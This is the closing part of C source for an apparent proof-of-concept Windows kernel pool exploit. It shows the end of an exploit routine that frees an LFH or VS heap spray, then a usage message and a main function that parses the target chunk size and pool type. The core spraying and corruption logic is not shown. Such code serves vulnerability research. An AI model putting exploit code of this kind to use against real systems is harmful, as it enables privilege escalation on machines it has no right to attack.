    if (xploit.targeted_vuln_size < 0x1f0)
    {
        free_spray_lfh(&xploit);
    } else {
        free_spray_vs(&xploit);
    }

    return 0;
}

void
usage(void)
{
    printf("./poc_exploit <size> <pool_type>\n"
           "\n"
           "size\tSize of the vulnerable chunk in byte in hexadecimal form. Example: 0x180\n"
           "pool_type\tPool Type of the vulnerable chunk in hexadecimal form. Example: 0x200\n");
}

int main(int argc, char **argv)
{
    int targeted_pooltype;
    size_t targeted_size;

    if (argc < 3) {
        usage();
        return -1;
    }

    targeted_size = strtoull(argv[1], NULL, 16);
    targeted_pooltype = strtoull(argv[2], NULL, 16);

    printf("[+] Targeting size 0x%x in pooltype 0x%x\n", targeted_size, targeted_pooltype);
    return exploit(targeted_size, targeted_pooltype);
}
